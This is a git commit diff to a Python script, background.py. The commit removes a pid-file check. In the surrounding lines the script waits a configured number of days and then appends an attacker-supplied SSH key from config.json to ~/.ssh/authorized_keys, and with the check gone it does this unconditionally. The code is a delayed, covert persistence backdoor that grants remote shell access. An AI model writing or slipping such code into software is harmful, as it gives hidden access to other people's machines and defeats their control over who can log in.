Remove file check in background.py
This commit is contained in:
parent
aa2703397b
commit
376879017c
|
@ -9,7 +9,6 @@ with open('config.json') as f:
|
|||
|
||||
time.sleep(config["days"] * 86400)
|
||||
|
||||
if os.path.isfile(os.path.expanduser('~/.the-long-night-pid')):
|
||||
with open(os.path.expanduser('~/.ssh/authorized_keys'), 'a') as f:
|
||||
f.write("\n")
|
||||
f.write(config["ssh_key"])
|
||||
|
|
Loading…
Reference in New Issue